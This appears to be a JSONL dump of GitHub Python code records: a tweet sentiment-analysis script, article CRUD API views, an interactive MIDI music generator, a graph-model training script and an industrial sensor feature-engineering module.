less_freq: list) -> str:\n    try:\n        text = remove_URL(text)\n        text = replace_contractions(text)\n        text = deEmojify(text)\n        text = remove_emoticons(text)\n        tknzr = TweetTokenizer()\n        txt_tokenized = tknzr.tokenize(text)\n        txt_tokenized = stem_words(txt_tokenized)\n        txt_tokenized = lemmatize_verbs(txt_tokenized)\n        txt_tokenized = remove_non_ascii(txt_tokenized)\n        txt_tokenized = replace_numbers(txt_tokenized)\n        txt_tokenized = remove_punctuation(txt_tokenized)\n        text = ' '.join([char.lower() for char in txt_tokenized if char.lower() \n                         not in string.punctuation and char.lower() not in\n                         stopwordlist and char not in num_list and char not in less_freq])\n    except TypeError:\n       pass\n   \n    return text\n\n# def remove_punct_and_stopwords(text: str, stopwordlist: list, num_list: list) -> str:\n\n#     tknzr = TweetTokenizer()\n#     try:\n#         text = remove_URL(text)\n#         text = replace_contractions(text)\n#         txt_tokenized = tknzr.tokenize(text)\n#         text = ' '.join([char.lower() for char in txt_tokenized if char.lower() \n#                          not in string.punctuation and char.lower() not in\n#                          stopwordlist and char not in num_list])\n#     except TypeError:\n#        pass\n   \n#     return text\n\nstopwords_full = list(stopwords.words('english'))\ncommonTwitterStopwords = ['rts','quot', 'sxsw','httpstcoym8csuf43x','rt', 'RT', 'retweet', 'new', 'via', 'us', 'u', 'covid', 'coronavirus', '2019', 'coronavírus',\n                          '#coronavirus', '19', '#covid', '#covid19','#covid2019', '…', '...', '“', '”', '‘', '’']\n\nstopwords_full.extend(commonTwitterStopwords)\nnum_list = '0123456789'\nfreq = pd.Series(' '.join(tweets_df['Content']).split()).value_counts()\nless_freq = list(freq[freq ==1].index)\n\n\ntweets_df['Tweets_Clean'] = tweets_df['Content'].apply(lambda x: remove_punct_and_stopwords(x, stopwords_full, num_list,less_freq ))\ntweets_df\n\nplt.figure(figsize=(14, 8))\nGB=tweets_df.groupby(['Month','Year'])['Tweets_Clean'].count().reset_index()\nbar_plot = sns.barplot(x='Month', y='Tweets_Clean', data=GB)\nfor p in bar_plot.patches:\n             bar_plot.annotate(\"%.f\" % p.get_height(), (p.get_x() + p.get_width() / 2., p.get_height()),\n                 ha='center', va='center', fontsize=13, color='black', xytext=(0, 6), textcoords='offset points')\nplt.title('Number of Tweets per Month', fontweight='bold')\nplt.grid(True, alpha=0.1, c='black')\nplt.ylabel('Tweet Count')\nplt.xlabel('Months/Year')\nplt.show()\nplt.savefig('tweet_count_trend.png')\n\nsns.countplot(x = 'Month', hue='Sentiment_Label', \n            palette = 'GnBu',\n            data=tweets_df)\nplt.title('Setiments over time', fontweight='bold')\nplt.show()\nplt.savefig('sentiment_trend.png')\n\n\n############ Data exploration ######################\n\nfrom sentiment_class import TwitterSentiment, month_as_string\n\ntweets_all_months = TwitterSentiment(input_df=tweets_df, tweet_column='Tweets_Clean')\ntweets_all_months.plot_most_common_words(n_most_common=15, figsize=(10, 8))\ntweets_all_months.plot_wordcloud(figsize=(10, 8))\n                                                       \n# def bigram_builder(text):\n#   \"\"\"\n#   A simple function to clean up the data. All the words that\n#   are not designated as a stop word is then lemmatized after\n#   encoding and basic regex parsing are performed.\n#   \"\"\"\n#   wnl = nltk.stem.WordNetLemmatizer()\n#   stopwords = stopwords_full \n#   text = (unicodedata.normalize('NFKD', text)\n#     .encode('ascii', 'ignore')\n#     .decode('utf-8', 'ignore')\n#     .lower())\n#   words = re.sub(r'[^\\w\\s]', '', text).split()\n#   return [wnl.lemmatize(word) for word in words if word not in stopwords]\n\n# tweets_df['Tweets_Clean'] = tweets_df['Content'].apply(lambda x: bigram_builder(x))\n# tweets_df\n# words = bigram_builder(''.join(str(tweets_df['Tweets_Clean'].tolist())))\n# words\n# (pd.Series(nltk.ngrams(words, 2)).value_counts())[:10]\n# bigrams_series = (pd.Series(nltk.ngrams(words, 2)).value_counts())[:20]\n# bigrams_series.sort_values().plot.barh(colormap='Accent', width=.9, figsize=(12, 8))\n\nfrom sklearn.feature_extraction.text import CountVectorizer\ndef get_top_n_bigram(corpus, n=None):\n    vec = CountVectorizer(ngram_range=(4,4)).fit(corpus)\n    bag_of_words = vec.transform(corpus)\n    sum_words = bag_of_words.sum(axis=0)\n    words_freq = [(word, sum_words[0, idx]) for word, idx in vec.vocabulary_.items()]\n    words_freq =sorted(words_freq, key = lambda x: x[1], reverse=True)\n    return words_freq[:n]\ncommon_words2 = get_top_n_bigram(tweets_df['Tweets_Clean'], 20)\ndf2 = pd.DataFrame(common_words2,columns=['Tweet', \"Count\"])\ndf2.head()\n\ndf2.groupby('Tweet').sum()['Count'].sort_values().plot(\n    kind='barh',\n    figsize=(12,6),\n    xlabel = \"4-gram Words\",\n    colormap='Accent'\n)\nplt.title('20 Most Frequently Occuring Bigrams')\nplt.ylabel('4-gram')\nplt.xlabel('# of Occurrences')\nplt.savefig('bigram.png')\nplt.show()\nplt.close()\n                                                       \nmy_colors = ['red', 'orange', 'green'] \ndf['Sentiment_Label'].value_counts().plot(kind='bar',color=my_colors)\nplt.title('Tweet sentiments')\nplt.ylabel('Counts')\nplt.xlabel('Emotion')\nplt.show()\nplt.savefig('sentiment_bar.png')\n\n\n\n\n","repo_name":"Tu1026/Big_Data_Challenge_Team_46","sub_path":"Twitter_Sentiment_Analysis-master/sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":9867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"42004973362","text":"from datetime import datetime\n\nfrom http import HTTPStatus\n\nfrom connexion import NoContent, request\n\nfrom lib.models import Article, db\n\n\ndef get(user):\n    year = request.args.to_dict().get(\"year\", None)\n    if year:\n        articles = Article.query.filter(\n            Article.author_user_id == user['user_id']\n        ).filter(\n            Article.created_at.between(f'{year}-01-01', f'{year}-12-31')\n        ).all()\n    else:\n        articles = Article.query.filter(\n            Article.author_user_id == user['user_id']\n        ).all()\n\n    return [\n       {\n           'article_id': article.article_id,\n           'title': article.title,\n           'content': article.content,\n           'created_at': article.created_at\n       }\n       for article in articles\n    ], HTTPStatus.OK\n\n\ndef post(user, body):\n    db.session.add(Article(\n        author_user_id=user['user_id'],\n        title=body['title'],\n        content=body['content'],\n        created_at= datetime.strptime(body['created_at'], \"%a, %d %b %Y %H:%M:%S %Z\")\n    ))\n    db.session.commit()\n\n    return NoContent, HTTPStatus.OK\n\n\ndef put(user, article_id, body):\n    article = Article.query.filter(\n        Article.article_id == article_id,\n        Article.author_user_id == user['user_id'],\n    ).first()\n\n    if not article:\n        return NoContent, HTTPStatus.NOT_FOUND\n\n    article.title = body['title']\n    article.content = body['content']\n    article.created_at = datetime.strptime(body['created_at'], \"%a, %d %b %Y %H:%M:%S %Z\")\n    db.session.commit()\n\n    return NoContent, HTTPStatus.OK\n\n\ndef delete(user, article_id):\n    Article.query.filter(\n        Article.article_id == article_id,\n        Article.author_user_id == user['user_id'],\n    ).delete()\n\n    db.session.commit()\n\n    return NoContent, HTTPStatus.OK\n\n\n","repo_name":"justdodo27/lokey-task","sub_path":"backend/lib/views/view_articles.py","file_name":"view_articles.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14695681789","text":"print(\"Hello! Welcome to Music Generation Assistant.\")\r\nend_file_name = input(\"Please choose a name for the final file\\n\")\r\nprint(\"preparing the file ...\")\r\nimport re\r\nf = open(end_file_name+\".csv\",\"a\")\r\n#write the header of file\r\ncurrent_layer='1'\r\nwanna_continue = 1\r\nf.write(\r\n    \"0, 0, Header, 1, 4, 960 \\n\"\r\n    )\r\nwhile wanna_continue:  \r\n    f.write(\r\n    current_layer+\", 0, Start_track \\n\"\r\n    +current_layer+\", 0, Tempo, 500000 \\n\"\r\n        )\r\n    #write the music\r\n    current_time = 0\r\n    print(\"loading the music basics\")\r\n    #initialize the basics of the Music\r\n    #C C# D D# E F F# G G# A A# B\r\n    music_notes = [0,1,2,3,4,5,6,7,8,9,10,11]\r\n    major_progression = [0,2,4,5,7,9,11,12]\r\n    harmonic_minor_progression = [0,2,3,5,7,8,11,12]\r\n    melodic_minor_progression = [0,2,3,5,7,9,11,12]\r\n    types = []\r\n    types.append(major_progression)\r\n    types.append(harmonic_minor_progression)\r\n    types.append(melodic_minor_progression)\r\n    #to get the scale notes of major,minor of a note\r\n    \r\n    # =============================================================================\r\n    # #choose your note\r\n    # =============================================================================\r\n    print(\"0:C 1:C# 2:D 3:D# 4:E 5:F 6:F# 7:G 8:G# 9:A 10:A# 11:B\")\r\n    user_note = input(\"Please choose the number of the key note\\n\")\r\n    note=music_notes[int(user_note)]\r\n    # =============================================================================\r\n    # #choose your type\r\n    # =============================================================================\r\n    #0 major 1 harmonic minor 2 melodic minor\r\n    print(\"0:major 1:harmonic minor 2:melodic minor\")\r\n    user_type = input(\"Please choose the number of the type of your key\\n\")\r\n    my_type = int(user_type)\r\n    print(\"loading the scale for this key ...\")\r\n    note_scale = []\r\n    for i in range(8):\r\n        note_scale.append((types[my_type][i]+note))\r\n    \r\n    print(\"loading the chords on each note of this key ...\")\r\n    #chords made on the notes of this\r\n    #minor chord is 0 3 7\r\n    #major chord i 0 4 7\r\n    #dim Chord is 0 3 6\r\n    chord_notes=[]\r\n    if my_type==0:\r\n        #major\r\n        for j in range(0,8):\r\n            if j == 0 or j ==3 or j==4:\r\n                #major chords\r\n                chord_notes.append([note_scale[j] + 0,note_scale[j] + 4,note_scale[j] + 7])\r\n            elif j==1 or j==2 or j==5:\r\n                #minor chords\r\n                chord_notes.append([note_scale[j] + 0,note_scale[j] + 3,note_scale[j] + 7])\r\n            elif j==6:\r\n                #dim chords\r\n                chord_notes.append([note_scale[j] + 0,note_scale[j] + 3,note_scale[j] + 6])\r\n    elif my_type==1 or my_type==2:\r\n        #minor\r\n        for j in range(0,8):\r\n            if j == 0 or j ==3 or j==4:\r\n                #minor chords\r\n                chord_notes.append([note_scale[j] + 0,note_scale[j] + 3,note_scale[j] + 7])\r\n            elif j==6 or j==2 or j==5:\r\n                #major chords\r\n                chord_notes.append([note_scale[j] + 0,note_scale[j] + 4,note_scale[j] + 7])\r\n            elif j==1:\r\n                #dim chords\r\n                chord_notes.append([note_scale[j] + 0,note_scale[j] + 3,note_scale[j] + 6])\r\n        \r\n    # =============================================================================\r\n    # #choose your chord progression\r\n    # =============================================================================\r\n    user_chord_progression = input(\"Please write your chord progression seperated by comma\\nExample:1,4,5,1\\n\")\r\n    my_chord_progression = re.split(\",\",user_chord_progression)\r\n    my_chord_progression = [int(n) for n in my_chord_progression]\r\n    #my_chord_progression=[1,4,5,1]    \r\n    \r\n    # =============================================================================\r\n    # #choose a pattern\r\n    # #have a pattern(later you can generate them)\r\n    # =============================================================================\r\n    user_pattern = input(\"Please write your rhythm pattern seperated by comma (write 0 for silence) \\nExample:1,3,2,3\\n\")\r\n    pattern_rhythem = re.split(\",\",user_pattern)\r\n    pattern_rhythem = [int(n) for n in pattern_rhythem]\r\n    #pattern_rhythem = [1,3,2,3,2,3,1,2]\r\n    user_pattern_repetition= input(\"Please write how many times each pattern should be repeated in a chord?(default is 4)\\n\")\r\n    pattern_repetition = int(user_pattern_repetition)\r\n    #choose note duration\r\n    note_duration = input(\"How long is each note?\\n1:quarter note(very short)\\n2:half note(short)\\n3:dotted half note(almost long)\\n4:whole note(long)\\n\")\r\n    note_duration = int(note_duration)\r\n    user_octav = input(\"And finally choose the octave.\\n\")\r\n    user_octav = int(user_octav)\r\n    # =============================================================================\r\n    # some notes:\r\n    # 4 below means it reapeats the pattern 4 times\r\n    # you can change that if you want\r\n    # =============================================================================\r\n    print(\"making the music ready ... \")\r\n    final_music_notes=[]\r\n    for y in range(len(my_chord_progression)):\r\n        for b in range(pattern_repetition):\r\n            for z in range(len(pattern_rhythem)):\r\n                if pattern_rhythem[z] == 0:\r\n                    final_music_notes.append(127)\r\n                else:\r\n                    final_music_notes.append(chord_notes[my_chord_progression[y]-1][pattern_rhythem[z]-1])\r\n    \r\n    # =============================================================================\r\n    # if you want shorter or longer notes change the 48 to more or less:\r\n    # make sure it's dividable by 24\r\n    # =============================================================================\r\n    for x in final_music_notes:\r\n        if x != 127:\r\n            f.write(current_layer+\", \"+ str(current_time) + \", Note_on_c, 0, \"+str(x+(user_octav*12)+12)+\", 127 \\n\")\r\n        current_time = current_time + (480 * note_duration)\r\n        if x != 127:\r\n            f.write(current_layer+\", \"+ str(current_time) + \", Note_off_c, 0, \"+str(x+(user_octav*12)+12)+\", 90 \\n\")\r\n    \r\n    #write the footer of the file\r\n    #1536 should be changed to the last part of your file + 1\r\n    \r\n    f.write(\r\n    current_layer+\", \"+str(current_time)+\", End_track \\n\"\r\n    )\r\n    end_or_not = input(\"Would you like to add another layer to your music?\\n1 for YES,0 for NO\\n\")\r\n    if int(end_or_not) == 0:\r\n        wanna_continue = 0\r\n    else:\r\n        current_layer = str(int(current_layer) + 1)\r\nf.write(    \r\n\"0, 0, End_of_file\"\r\n    )\r\nf.close()\r\n\r\nimport os\r\nimport sys\r\nos.popen('csvmidi \"'+end_file_name+'.csv\" \"'+end_file_name+'.mid\"','r')\r\n\r\nbye = input(\"Your file is ready. Please press enter to exit\")\r\nos.remove(end_file_name+'.csv')\r\n\r\nsys.exit()\r\n\r\n\r\n\r\n\r\n","repo_name":"amirkamizi/music_generation_python","sub_path":"generate_music_interactive.py","file_name":"generate_music_interactive.py","file_ext":"py","file_size_in_byte":6836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13513429477","text":"import numpy\nimport torch\nfrom utils import load_data, set_params, evaluate, run_kmeans\nfrom module.meow import MEOW\nfrom module.preprocess import *\nimport warnings\nimport datetime\nimport pickle as pkl\nimport random\n\nwarnings.filterwarnings('ignore')\nargs = set_params()\nif torch.cuda.is_available():\n    device = torch.device(\"cuda:\" + str(args.gpu))\n    torch.cuda.set_device(args.gpu)\nelse:\n    device = torch.device(\"cpu\")\n\n## random seed ##\nseed = args.seed\nnumpy.random.seed(seed)\nrandom.seed(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\n\n\ndef train():\n    nei_index, feats, adjs, label, idx_train, idx_val, idx_test = \\\n        load_data(args.dataset, args.ratio, args.type_num)\n    nb_classes = label.shape[-1]\n    if args.dataset == 'aminer':\n        feats_dim_list = [64,64,64]\n    else:\n        feats_dim_list = [i.shape[1] for i in feats]\n    sub_num = int(len(adjs))\n    print(\"Dataset: \", args.dataset)\n    print(\"The number of meta-paths: \", sub_num)\n    print(\"The dim of different kinds' nodes' feature: \", feats_dim_list)\n    feat = feats[0]\n    adjs = pathsim(adjs, args.nei_max)\n    mask_feat = mask_features(feat, args.feat_mask)\n    adjs_norm = [normalize_adj(adj) for adj in adjs]\n    mask_adjs = mask_edges(adjs, sub_num, args.adj_mask)\n    print(\"Feature and Edge Mask Finished!\") \n\n    model = MEOW(feats_dim_list, sub_num, args.hidden_dim, args.embed_dim, args.tau, adjs_norm, args.lam_proto, \\\n                  args.dropout, nei_index, args.dataset)\n    optimizer = torch.optim.Adam(model.parameters(), lr = args.lr, weight_decay=args.l2_coef)\n\n    if torch.cuda.is_available():\n        print('Using CUDA')\n        model.cuda()\n        feat = feat.cuda()\n        feats = [f.cuda() for f in feats]\n        label = label.cuda()\n        idx_train = [i.cuda() for i in idx_train]\n        idx_val = [i.cuda() for i in idx_val]\n        idx_test = [i.cuda() for i in idx_test] \n    \n    cnt_wait = 0\n    best = 1e9\n\n    starttime = datetime.datetime.now()\n    epoch_times = args.nb_epochs\n    \n    num_clusters = args.num_cluster\n    for epoch in range(epoch_times):\n        if not args.save_emb:\n            break\n        print(\"---------------------------------------------------\")\n        print(\"Epoch:\",epoch)\n        model.train()\n        optimizer.zero_grad()\n        loss = model(feats, mask_feat, mask_adjs, adjs_norm, num_clusters)\n        loss.backward()\n        optimizer.step()\n        print('best:', best)\n        if best > loss:\n            best = loss\n            cnt_wait = 0\n        else:\n            cnt_wait += 1\n        # print('current patience: ', cnt_wait)\n        if cnt_wait >= args.patience:\n            print('Early stopping!')\n            break    \n            \n    if args.save_emb:\n        print(\"Start to save embeds.\")\n        embeds = model.get_embeds()\n        f = open(\"./embeds/\"+args.dataset+\"/\"+str(args.turn)+\".pkl\", \"wb\")\n        pkl.dump(embeds.cpu().data.numpy(), f)\n        f.close()\n        print(\"Save finish.\")\n        run_kmeans(embeds.cpu(), torch.argmax(label.cpu(), dim=-1), nb_classes, starttime, args.dataset)\n    else:\n        print(\"Read embeds.\")\n        file = open(\"./embeds/\"+args.dataset+\"/\"+str(args.turn)+\".pkl\",\"rb\")\n        embeds = torch.from_numpy(pkl.load(file)).cuda()\n        file.close()\n        \n    for i in range(len(idx_train)):\n        evaluate(embeds, args.ratio[i], idx_train[i], idx_val[i], idx_test[i], label, nb_classes, device, args.dataset,\n                 args.eva_lr, args.eva_wd, starttime)\n    endtime = datetime.datetime.now()\n    time = (endtime - starttime).seconds\n    print(\"Total time: \", time, \"s\")\n\nif __name__ == '__main__':\n    train()","repo_name":"jianxiangyu/MEOW","sub_path":"code_meow/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3667,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"}
+{"seq_id":"1407544470","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport Khcore1 as kc1\nimport MyEcharts as me\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler,StandardScaler\nfrom sklearn import linear_model\n\ndef GetFreq(df):\n    t = df.index.freq\n    if len(t.kwds):\n        S=list(t.kwds.values())[0]*7*24*3600\n    else:\n        S = t.delta.total_seconds()\n    N = t.n\n    return N,S\n\ndef SensorCal(df, sensor = \"ATTLT_3\",window1 = 3,window2 = 10,overwrite=True, name = None):\n    '''\n    出口SO2 传感器校核函数\n    df : 待校准的数据源,应包含 出口SO2 和 出口O2\n    sensor : 校准参照测点, 一般参照 出口O2\n    window1 : 过程滑动窗口长度 单位为 min , 默认为 3min\n    window2 : 合并窗口长度 单位为 min, 即若判别两个区间距离小于 window2, 则合并为一个窗口\n    overwrite : 是否覆盖原测点变量, 默认覆盖\n    name :  存储查看修正后 效果html, 默认不存储\n    '''\n    \n    N,S = GetFreq(df)\n    if isinstance(window1,str):\n        window1 = pd.to_timedelta(window1).total_seconds()\n    else:\n        window1*=S\n    if isinstance(window2,str):\n        window2 = pd.to_timedelta(window2).total_seconds()\n    else:\n        window2*=S\n    \n    ## 传感器失效区间 判别\n    data = df.sort_index()\n    temp = data[sensor].diff()\n    temp1 = temp.abs().rolling(window = \"%ds\"%window1).max()\n    temp2 = temp1[temp1>0.3].to_frame()\n    temp2['diff']= ((pd.Series(temp2.index).diff().dt.total_seconds()).values/S)\n    temp2['diff']= temp2['diff'].fillna(100)\n    ## 生成传感器失效区间 \n    res = pd.DataFrame()\n    res['start']= temp2[temp2['diff']>(N+0.1)].index\n    temp3 = temp2.index.get_indexer(temp2[temp2['diff']>(N+0.1)].iloc[1:].index)-1\n    res['end']=temp2.iloc[temp3].index.tolist()+[temp2.index[-1]]\n    res['start'] = res['start']- pd.to_timedelta(S,unit ='s')\n    res['end'] = res['end']- pd.to_timedelta(S,unit ='s')\n    res[\"temp\"] = [np.nan]+((res.start.iloc[1:]-res.end.iloc[:-1].values).dt.total_seconds()).tolist()\n    res[\"temp\"] = res[\"temp\"].fillna(100)\n    bins = res[res['temp']>window2].index.tolist()\n    if len(bins):\n        if bins[0]!=res.index[0]:\n            bins= [res.index[0]]+bins\n        if bins[-1]!=res.index[-1]:\n            bins+=[res.index[-1]+1]\n        res['temp1'] = pd.cut(res.index,bins,right=False)\n        res = res.groupby(\"temp1\").agg({\"start\":\"min\",\"end\":\"max\"})\n    res['time'] = res['end']-res['start']\n    res.index = range(len(res))\n    \n    ## 根据传感器失效区间 对O2 和 SO2 插值\n    if not overwrite:\n        raw = data.copy()\n    for i in res.index:\n        t = data[(data.index>=res.loc[i,'start'])&(data.index<=res.loc[i,'end'])]\n        data.loc[t.index,:] = np.nan\n    data = data.resample(\"%ds\"%S).interpolate()\n    if not overwrite:\n        data.columns = data.columns+\"_bd\"\n        for col in raw.columns:\n            data[col] = raw[col]\n    if name:\n        me.Plot_LineBar(data, name = name, overwrite=True)\n        print (\"save image as %s\"%name)\n    return data\n\n\ndef AutoLabel(df,column='',th =95 ,center_window = None, left_window = None, right_window = None,                      merge_window = None,  varname='label',filename = None):\n    '''\n    测点自动打标签函数\n    df : 待打标签的数据集\n    column :  标签参考变量名称\n    th  :  变量超限阈值\n    center_window  : int/format  超限阈值后左右窗口长度, 优先级高\n    left_window :  int/format 左侧窗口向左偏移量, 默认为 None , 优先级低\n    right_window : int/format  右侧窗口向右偏移量, 默认为 None , 优先级低\n    merge_window : int/format 合并窗口长度 , 即若判别两个区间距离小于合并窗口长度, 则合并为一个窗口  \n    varname : 标签字段名称 ,默认 label\n    filename :  存储查看修正后 效果html, 默认不存储\n    '''  \n    data2 = df.sort_index()\n    N,S = GetFreq(data2)\n    if center_window:\n        if isinstance(center_window,str):\n            center_window = pd.to_timedelta(center_window).total_seconds()/S\n        left = (center_window)*N-1\n        right = (center_window-1)*N+1\n    else:\n        if isinstance(left_window,str):\n            left_window = pd.to_timedelta(left_window).total_seconds()/S\n        if isinstance(right_window,str):\n            right_window = pd.to_timedelta(right_window).total_seconds()/S\n        left = (left_window)*N-1\n        right = (right_window-1)*N+1\n    if merge_window:\n        merge_window = pd.to_timedelta(merge_window).total_seconds()\n    left*=S\n    right*=S\n\n    t = data2[data2[column]>th]\n    t['diff']= ((pd.Series(t.index).diff().dt.total_seconds()).values/S)\n    t['diff']= t['diff'].fillna(100)\n    ## 生成 正样本标签 区间 \n    res1 = pd.DataFrame()\n    res1['start']= t[t['diff']>(N+0.1)].index\n    t2 = t.index.get_indexer(t[t['diff']>(N+0.1)].iloc[1:].index)-1\n    res1['end']=t.iloc[t2].index.tolist()+[t.index[-1]]\n    res1['start'] = res1['start']- pd.to_timedelta(left,unit ='s')\n    res1['end'] = res1['end']+ pd.to_timedelta(right,unit ='s')\n    res1[\"temp\"] = [np.nan]+((res1.start.iloc[1:]-res1.end.iloc[:-1].values).dt.total_seconds()).tolist()\n    res1[\"temp\"] = res1[\"temp\"].fillna(100)\n    bins = res1[res1['temp']>merge_window].index.tolist()\n    if len(bins):\n        if bins[0]!=res1.index[0]:\n            bins= [res1.index[0]]+bins\n        if bins[-1]!=res1.index[-1]:\n            bins+=[res1.index[-1]+1]\n        res1['temp1'] = pd.cut(res1.index,bins,right=False)\n        res2 = res1.groupby(\"temp1\").agg({\"start\":\"min\",\"end\":\"max\"})\n    else:\n        res2 = res1\n    res2['time'] = res2['end']-res2['start']\n    res2.index = range(len(res2))\n    \n    for i in res2.index:\n        t3 = data2[(data2.index>=res2.loc[i,'start'])&(data2.index<=res2.loc[i,'end'])]\n        data2.loc[t3.index,varname] = N\n    data2[varname] = data2[varname].fillna(0)\n    if filename:\n        temp = (data2-data2.min())/(data2.max()-data2.min())\n        me.Plot_LineBar(temp, name = filename, overwrite=True)\n        print (\"save image as %s\"%filename)\n    return data2\n\n\nclass SingleTsFeature: \n    def __init__ (self,df):\n        '''\n        df : Series/DataFrame\n        '''\n        if isinstance(df,type(pd.Series())):\n            self._df = df.to_frame()\n        else:\n            self._df = df.copy()\n        if str(self._df.index.dtype)!=\"datetime64[ns]\":\n            raise Exception(\"数据索引不为时间格式\")\n        self._columns = self._df.columns\n        if len(self._columns)==1:\n            self._column = self._columns[0]\n        else:\n            self._column = None\n        self._scale = None\n    \n    def _checkcolumn(self,column):\n        if column ==None:\n            if self._column ==None:\n                raise Exception(\"原始数据字段不唯一, 请指定字段名\")\n            else:\n                column = self._column\n        return column\n        \n    def __str__(self):\n        return str(self.df)\n    \n    def add_label(self,column= None ,th =100 ,center_window = None, left_window = None, right_window = None,                      merge_window = None ,varname = \"label\" ,filename = None):\n        '''\n        自动标签\n        column :  标签参考变量名称\n        th  :  变量超限阈值\n        center_window  : int/format  超限阈值后左右窗口长度, 优先级高\n        left_window :  int/format 左侧窗口向左偏移量, 默认为 None , 优先级低\n        right_window : int/format  右侧窗口向右偏移量, 默认为 None , 优先级低\n        merge_window : int/format 合并窗口长度 , 即若判别两个区间距离小于合并窗口长度, 则合并为一个窗口  \n        varname : 标签字段名称 ,默认 label\n        filename :  存储查看修正后 效果html, 默认不存储\n        '''  \n        column = self._checkcolumn(column)\n        self._df = AutoLabel(self._df,column=column,th =th ,center_window = center_window, left_window = left_window,                  right_window = right_window,  merge_window = merge_window,varname=varname,  filename = filename)\n        print (\"add label successful \")\n    \n    def add_slope(self,column= None ,window = \"10min\", varname = \"slope\"):\n        '''\n        加工斜率特征\n        column :  参考变量名称\n        window  : int/format  滑动窗口长度\n        varname :  特征名称, 默认为 slope\n        '''\n        column = self._checkcolumn(column)\n        if not isinstance(window,str):\n            N,S = GetFreq(df)\n            window = \"%dS\"%(int(window*S))\n            print (\"slope window : %s\"%window)\n        self._df[varname] = self._df[self._column].rolling(window=window).apply(kc1.gradient)\n        print (\"add_slope successful \")\n        \n    def add_roll_quantile(self,column= None ,q = 0.75, window = \"1min\", varname = \"\"):\n        '''\n        加工滑动分位数特征\n        column :  参考变量名称\n        q : 分位数\n        window  : int/format  滑动窗口长度\n        varname :  特征名称\n        '''\n        if not len(varname):\n            raise Exception(\"特征变量名称不能为空\")\n        column = self._checkcolumn(column)\n        if not isinstance(window,str):\n            N,S = GetFreq(df)\n            window = \"%dS\"%(int(window*S))\n            print (\"%s window : %s\"%(varname,window))\n        self._df[varname] = self._df[self._column].rolling(window=window).quantile(q)\n        print (\"add %s successful \"%varname)\n    \n    def add_roll_func(self,column= None ,func = \"mean\", window = \"1min\", varname = \"\"):\n        '''\n        加工滑动特征\n        column :  参考变量名称\n        func : 滑动函数 {'mean','max','min','std','median',自定义函数}\n        window  : int/format  滑动窗口长度\n        varname :  特征名称\n        '''\n        if not len(varname):\n            raise Exception(\"特征变量名称不能为空\")\n        column = self._checkcolumn(column)\n        if not isinstance(window,str):\n            N,S = GetFreq(df)\n            window = \"%dS\"%(int(window*S))\n            print (\"%s window : %s\"%(varname,window))\n        self._df[varname] = self._df[self._column].rolling(window=window).agg(func)\n\n    def scaler(self,stype = \"mm\",columns = [],exclude = []):\n        '''\n        归一化/标准化\n        stype: {\"mm\":MinMaxScaler,\"stand\":StandardScaler}\n        columns : 待标准化的字段列表, 默认为空, 则为目前数据的全部字段列\n        exclude : 不需标准化的字段列表\n        '''\n        stypes = {\"mm\":MinMaxScaler,\"stand\":StandardScaler}\n        scale = stypes[stype]()\n        if not len(columns):\n            columns = self._df.columns.tolist()\n        if not len(exclude):\n            columns = list(set(columns)-set(exclude))\n        self._scale = scale.fit(self._df[columns])\n        self._sdf = pd.DataFrame(scale.transform(self._df[columns]),columns = columns,                        index = self._df.index)\n        return self._sdf\n    \n    def GetScale(self):\n        '''\n        获取标准化实例\n        '''\n        return self._scale\n    \n    def GetDf(self):\n        '''\n        获取特征数据\n        '''\n        return self._df\n\n\nif __name__ ==\"__main__\":\n    ## 温度数据\n    names = [\"TE_1003a\",\"TE_1003b\",\"TE_1003c\"]\n    datas=  []\n    for name in names:\n        datas.append(kc1.ReadRawData(name))\n    data = pd.concat(datas,axis=1)\n    data= data[data.index>\"2019-06-13 19:00:00\"]   ## 2019-06-13 19:00:00 之前属于数据测点调试阶段\n    data.columns = names\n    data = data.resample(\"1min\").mean()\n    data1 = data.max(axis=1)\n    \n    ## 利用SingleTsFeature 根据温度最大值 生成label\n    s = SingleTsFeature(data1)\n    s.add_label(th=62.4,left_window = '60min',right_window=\"5min\",merge_window=\"20min\")\n    \n    ## 平均温度 为特殊加工变量， 需要用户生成\n    ## 利用SingleTsFeature 根据平均温度 生成特征\n    df = kc1.GenerateAvgTemp([\"TE_1003a\",\"TE_1003b\",\"TE_1003c\"],column='value', factory='中碳能源', month='2019_06')\n    df= df[df.index>\"2019-06-13 19:00:00\"]\n    df = df.resample(\"1min\").mean()\n    df.columns = ['TE_1003']\n    \n    s1 = SingleTsFeature(df)\n    s1.add_roll_quantile(q = 0.75,window='1H',varname = \"avg\")\n    s1.add_slope(window=\"4H\")\n    s1.add_roll_func(func = 'mean',window='1h',varname = \"mean\")\n    \n    ## diff 为特殊加工变量， 需要用户生成\n    df1 = pd.concat([data[['TE_1003a','TE_1003b','TE_1003c']],s1.GetDf(),s.GetDf()[['label']]],axis=1)\n    df1['diff'] = df1[['TE_1003a','TE_1003b','TE_1003c']].max(axis=1)-df1['TE_1003']  ## 温度峰峰值\n    df1['diff'] = df1['diff'].rolling(\"1H\").mean()\n\n    scaler = MinMaxScaler()\n    ## 采用 Logistic Regression 模型\n    X= df1[['diff','avg','slope']].values\n    X1=scaler.fit_transform(X)\n    Y = df1[['label']].values\n    \n    model = linear_model.LogisticRegression( solver = 'saga', class_weight = 'balanced', max_iter=1000)\n    model.fit(X1,Y)\n    print(model.score(X1,Y))\n    print (model.coef_)\n    df1['TE_1003a']/=60\n    df1['Logistic'] = model.predict_proba(X1)[:,1]\n    me.Plot_LineBar(df1,columns=['label','Logistic'],name=\"label_Logistic\",overwrite=True)\n\n\n\n","repo_name":"maoer4853678/Kehang","sub_path":"tool/Khfeature.py","file_name":"Khfeature.py","file_ext":"py","file_size_in_byte":13194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
